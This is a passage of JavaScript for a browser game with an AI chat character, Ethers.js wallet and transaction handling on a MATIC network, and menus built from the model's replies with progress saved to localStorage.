receipt = await tx.wait(); return receipt; } catch (error) { console.error('Transaction error:', error); throw error; } } async notifyAIOfBlockchainEvent(eventType, data = {}) { const eventMessages = { WALLET_CONNECTED: `I detect that a wallet has been connected.\nAddress: ${data.address}\nBalance: ${data.balance} MATIC\nNetwork: ${data.network}`, WALLET_NOT_DETECTED: "I notice that no Web3 wallet is detected. You'll need to install MetaMask or use a compatible wallet to interact with the blockchain.", TRANSACTION_SUCCESS: `Great news! The transaction was successful!\nTransaction Hash: ${data.hash}\nFrom: ${data.from}\nTo: ${data.to}\nAmount: ${data.value} MATIC`, TRANSACTION_FAILED: `I apologize, but the transaction failed: ${data.error}. Would you like me to help troubleshoot the issue?`, BALANCE_UPDATED: `I see that the wallet balance is now ${data.balance} MATIC. Is there anything specific you'd like to do with these funds?`, NETWORK_CHANGED: `We've successfully switched to the ${data.network} network. This is where all our future transactions will take place.` }; const message = eventMessages[eventType]; if (message) { // Add the blockchain event to the AI's context this.characterChatManager.addMessage('system', `[Blockchain Event: ${eventType}] ${message}`); // Get AI's response to the blockchain event const aiResponse = await this.characterChatManager.getCharacterResponse('mistral'); // Update the chat log with the AI's response this.updateChatLog(CHARACTER_NAME, aiResponse); } } createResetButton() { const resetButtonStyle = ` position: absolute; bottom: 80px; right: 20px; padding: 10px 20px; min-width: 120px; margin-left: 10px; z-index: 1000; background: linear-gradient(45deg, #FF0000, #CC0000); color: #FFFFFF; border: none; border-radius: 25px; cursor: pointer; font-family: 'Arial', sans-serif; font-size: 16px; font-weight: bold; text-transform: uppercase; transition: all 0.3s ease; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; `; const resetButton = document.createElement('button'); resetButton.textContent = "RESET"; resetButton.style = resetButtonStyle; resetButton.addEventListener('click', () => { this.buttonPath = []; this.sendChatMessage('RESET', true); resetButton.remove(); }); resetButton.addEventListener('mouseover', () => { resetButton.style.transform = 'translateY(-2px)'; }); resetButton.addEventListener('mouseout', () => { resetButton.style.transform = 'translateY(0)'; }); document.body.appendChild(resetButton); } updateChatLog(speaker, message, onComplete) { const chatLogContentDiv = document.getElementById('chatLogContent'); let newMessageElement = document.createElement('p'); // Remove HTML tags from the message const cleanMessage = message.replace(/<[^>]*>/g, ''); newMessageElement.textContent = `${speaker}: ${cleanMessage}`; newMessageElement.style.marginBottom = '10px'; newMessageElement.style.padding = '10px'; newMessageElement.style.borderRadius = '5px'; newMessageElement.style.background = speaker === 'User' ? '#004400' : '#002200'; chatLogContentDiv.appendChild(newMessageElement); onComplete?.(); const chatLogDiv = document.getElementById('chatLog'); chatLogDiv.scrollTop = chatLogDiv.scrollHeight; } createButtonsFromQuotedText(message) { const regex = /"([^"]+)"/g; let result = message; let match; const buttons = []; while ((match = regex.exec(message)) !== null) { const buttonText = match[1]; const buttonHTML = ``; buttons.push(buttonHTML); result = result.replace(`"${buttonText}"`, buttonHTML); } // Add event listeners to the created buttons setTimeout(() => { const buttonElements = document.querySelectorAll('.quoted-button'); buttonElements.forEach(button => { button.addEventListener('click', async (event) => { const text = event.target.getAttribute('data-text'); this.buttonPath.push(text); // Add to button path await this.sendChatMessage(text, true); // Mark as button click }); button.addEventListener('mouseover', () => { button.style.transform = 'translateY(-1px)'; }); button.addEventListener('mouseout', () => { button.style.transform = 'translateY(0)'; }); }); }, 100); return result; } saveGameState() { const saveData = localStorage.getItem(PROJECT_NAME); let parsedSaveData = saveData ? JSON.parse(saveData) : {}; const chatLogContent = document.getElementById('chatLogContent').innerHTML; if (this.characterChatManager) { const characterChatManagerState = { messages: this.characterChatManager.messages, // Add other properties you want to save }; parsedSaveData.characterChatManagerState = JSON.stringify(characterChatManagerState); } parsedSaveData.chatLog = chatLogContent; parsedSaveData.lastSelectedButton = this.lastSelectedButton; parsedSaveData.buttonPath = this.buttonPath; localStorage.setItem(PROJECT_NAME, JSON.stringify(parsedSaveData)); } loadSavedChat() { const saveData = localStorage.getItem(PROJECT_NAME); if (!saveData) { console.error('No save data found.'); return; } const parsedSaveData = JSON.parse(saveData); if (parsedSaveData.characterChatManagerState) { try { const characterChatManagerState = JSON.parse(parsedSaveData.characterChatManagerState); if (characterChatManagerState.messages) { this.characterChatManager.messages = characterChatManagerState.messages; } // Load other properties as needed } catch (error) { console.error('Error parsing characterChatManagerState:', error); } } if (parsedSaveData.chatLog) { document.getElementById('chatLogContent').innerHTML = parsedSaveData.chatLog; } if (parsedSaveData.lastSelectedButton) { this.lastSelectedButton = parsedSaveData.lastSelectedButton; } if (parsedSaveData.buttonPath) { this.buttonPath = parsedSaveData.buttonPath; } } async updateMenu(response) { const menuContainer = document.getElementById('menuContainer'); menuContainer.innerHTML = ''; const alphanumericListRegex = /(\d+|[a-zA-Z])\.\s*([^\n]+)/g; const bracketListRegex = /\[([^\]]+)\]/g; let match; let hasMenu = false; const createButton = (buttonText) => { const button = document.createElement('div'); button.style.display = 'inline-block'; button.style.marginRight = '5px'; button.style.marginBottom = '5px'; button.innerHTML = `

${buttonText}

`; button.addEventListener('click', async () => { this.lastSelectedButton = buttonText; // Save the last selected button state this.buttonPath.push(buttonText); // Add to button path this.updateButtonProgress(buttonText); await this.sendChatMessage(buttonText, true); // Mark as button click }); button.addEventListener('mouseover', () => { const buttonElement = button.querySelector('div'); if (buttonElement) { buttonElement.style.transform = 'translateY(-2px)'; } }); button.addEventListener('mouseout', () => { const buttonElement = button.querySelector('div'); if (buttonElement) { buttonElement.style.transform = 'translateY(0)'; } }); menuContainer.appendChild(button); // Restore previous progress const savedProgress = this.getSavedProgress(buttonText); this.setButtonProgress(buttonText, savedProgress); // Log the creation of each button console.log('Button created:', button); }; // Match alphanumeric lists while ((match = alphanumericListRegex.exec(response)) !== null) { hasMenu = true; const buttonText = match[2].replace(/(\d+)%$/, '').trim(); createButton(buttonText); } // Match bracket lists while ((match = bracketListRegex.exec(response)) !== null) { hasMenu = true; const items = match[1].split(',').map(item => item.trim()); items.forEach(item => createButton(item)); } if (!hasMenu) { this.initializeDefaultMenu(); } } initializeDefaultMenu() { const menuContainer = document.getElementById('menuContainer'); const defaultButtons = ['SHOW BIOS MENU', 'SHOW NEW MENU FOR CURRENT SELECTION', 'DOWNLOAD POPULAR OPTIONS - SHOW MENU', 'HELP AND TROUBLESHOOTING - SHOW MENU']; // Clear any existing buttons menuContainer.innerHTML = ''; defaultButtons.forEach(buttonText => { const button = document.createElement('div'); button.style.display = 'inline-block'; button.style.marginRight = '5px'; button.style.marginBottom = '5px'; button.innerHTML = `

${buttonText}

`; button.addEventListener('click', async () => { this.lastSelectedButton = buttonText; // Save the last selected button state this.buttonPath = ['HOME', buttonText]; // Reset and set the initial path this.updateButtonProgress(buttonText); await this.sendChatMessage(buttonText, true); // Mark as button click }); button.addEventListener('mouseover', () => { const buttonElement = button.querySelector('div'); if (buttonElement) { buttonElement.style.transform = 'translateY(-2px)'; } }); button.addEventListener('mouseout', () => { const buttonElement = button.querySelector('div'); if (buttonElement) { buttonElement.style.transform = 'translateY(0)'; } }); menuContainer.appendChild(button); // Restore previous progress const savedProgress = this.getSavedProgress(buttonText); this.setButtonProgress(buttonText, savedProgress); // Log the creation of each default button console.log('Default button created:', button); }); // Log the final state of the menu container console.log('Menu container after adding default buttons:', menuContainer); } updateButtonProgress(buttonText) { const progressBar = document.getElementById(`progress-${buttonText}`); if (progressBar) { const progressValue = parseInt(progressBar.style.width, 10) || 0; const newProgressValue = progressValue + 10 > 100 ? 100 : progressValue + 10; progressBar.style.width = `${newProgressValue}%`; // Save progress this.saveProgress(buttonText, newProgressValue); } } setButtonProgress(buttonText, progress) { const progressBar = document.getElementById(`progress-${buttonText}`); if (progressBar) { progressBar.style.width = `${progress}%`; } } getSavedProgress(buttonText) { const saveData = localStorage.getItem(PROJECT_NAME); if (saveData) { const parsedSaveData = JSON.parse(saveData); if (parsedSaveData.buttonProgress && parsedSaveData.buttonProgress[buttonText]) { return parsedSaveData.buttonProgress[buttonText]; } } return 0; } saveProgress(buttonText, progress) { const saveData = localStorage.getItem(PROJECT_NAME); let parsedSaveData = saveData ? JSON.parse(saveData) : {}; if (!parsedSaveData.buttonProgress) { parsedSaveData.buttonProgress = {}; } parsedSaveData.buttonProgress[buttonText] = progress; localStorage.setItem(PROJECT_NAME, JSON.stringify(parsedSaveData)); } } const VERSION_NUMBER = 'v1'; const PROJECT_NAME = `${CHARACTER_NAME} AI Character ${VERSION_NUMBER}`; async function initializeEthers() { // Try to load Ethers.js dynamically if not present if (typeof ethers === 'undefined') { try { await new Promise((resolve, reject) => { const script = document.createElement('script'); script.src = 'https://cdn.jsdelivr.net/npm/ethers@5.0.0/dist/ethers.umd.min.js'; script.onload = resolve; script.onerror = () => reject(new Error('Failed to load Ethers.js')); document.head.appendChild(script); }); } catch (error) { console.error('Failed to load Ethers.js:', error); return false; } } if (window.ethereum) { try { // Initialize ethers provider ETHERS_CONFIG.provider = new ethers.providers.Web3Provider(window.ethereum); // Check if already connected const accounts = await ETHERS_CONFIG.provider.listAccounts(); if (accounts.length > 0) { ETHERS_CONFIG.signer = ETHERS_CONFIG.provider.getSigner(); const network = await ETHERS_CONFIG.provider.getNetwork(); // Initialize contract if on correct network if (network.chainId === parseInt(ETHERS_CONFIG.networkParams.chainId, 16)) { const contractABI = CONTRACT_CONFIG.contractSource; ETHERS_CONFIG.contract = new ethers.Contract( CONTRACT_CONFIG.contractAddress, contractABI, ETHERS_CONFIG.signer ); } } } catch (error) { console.error('Error initializing ethers:', error); } } } async function initializeGame() { // Initialize ethers.js and wait for it to complete const ethersInitialized = await initializeEthers(); if (!ethersInitialized) { console.error('Failed to initialize Ethers.js. Some features may not work.'); } const config = { type: Phaser.AUTO, parent: 'renderDiv', scale: { mode: Phaser.Scale.RESIZE, autoCenter: Phaser.Scale.NO_CENTER, }, width: window.innerWidth, height: window.innerHeight, scene: [BootScene, TerminalScene], dom: { createContainer: true, }, }; if (typeof Phaser === 'undefined') { console.error('Phaser is not loaded. Please ensure the script is included in your HTML.'); return; } window.game = new Phaser.Game(config); window.addEventListener('resize', () => { window.game.scale.resize(window.innerWidth, window.innerHeight); }); window.game.sceneTransitionManager = new SceneTransitionManager(window.game); } initializeGame();

Wallet Interface